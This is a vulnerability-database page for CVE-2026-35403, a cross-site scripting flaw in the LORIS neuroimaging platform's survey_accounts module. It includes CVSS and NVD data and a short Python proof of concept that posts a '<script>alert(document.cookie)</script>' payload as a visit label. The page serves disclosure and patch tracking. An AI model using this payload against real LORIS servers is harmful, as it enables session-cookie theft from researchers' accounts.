Security Vulnerability Report
中文
CVE-2026-35403 CVSS 6.5 MEDIUM

CVE-2026-35403

Published: 2026-04-08 19:25:24
Last Modified: 2026-04-21 20:06:29

Description

LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. From 15.10 to before 27.0.3 and 28.0.1, there is a potential for a cross-site scripting attack in the survey_accounts module if a user provides an invalid visit label. While the data is properly JSON encoded, the Content-Type header is not set causing the web browser to interpret the payload as HTML, opening the possibility of a cross-site scripting if a user is tricked into following an invalid link. This vulnerability is fixed in 27.0.3 and 28.0.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:* - VULNERABLE
LORIS >= 15.10, < 27.0.3
LORIS >= 28.0.0, < 28.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def test_loris_xss(target_url): """ PoC for CVE-2026-35403 Testing Content-Type confusion XSS in survey_accounts module. """ # The endpoint that processes the visit label endpoint = f"{target_url}/survey_accounts/" # Payload: Invalid visit label containing XSS payload # Even if JSON encoded, browser treats it as HTML if Content-Type is missing xss_payload = '<script>alert(document.cookie)</script>' data = { 'visit_label': xss_payload } try: response = requests.post(endpoint, data=data) print(f"[+] Request sent to: {endpoint}") print(f"[+] Response Status: {response.status_code}") content_type = response.headers.get('Content-Type', '') print(f"[+] Response Content-Type: {content_type}") if 'text/html' in content_type or 'application/json' not in content_type: print("[!] Vulnerable: Content-Type is not set to application/json.") print("[!] Browser may interpret the response as HTML, triggering XSS.") else: print("[-] Safe: Content-Type is correctly set.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost:8080" test_loris_xss(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35403", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:23.893", "lastModified": "2026-04-21T20:06:28.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LORIS (Longitudinal Online Research and Imaging System) is a self-hosted web application that provides data- and project-management for neuroimaging research. From 15.10 to before 27.0.3 and 28.0.1, there is a potential for a cross-site scripting attack in the survey_accounts module if a user provides an invalid visit label. While the data is properly JSON encoded, the Content-Type header is not set causing the web browser to interpret the payload as HTML, opening the possibility of a cross-site scripting if a user is tricked into following an invalid link. This vulnerability is fixed in 27.0.3 and 28.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.10", "versionEndIncluding": "27.0.2", "matchCriteriaId": "4AEE921E-77AD-44F9-AC03-DCD447CF3897"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mcgill:loris:28.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D358B66A-04AC-44F2-8EF6-4332D8AC00F4"}]}]}], "references": [{"url": "https://github.com/aces/Loris/security/advisories/GHSA-776p-5pwh-vc8p", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}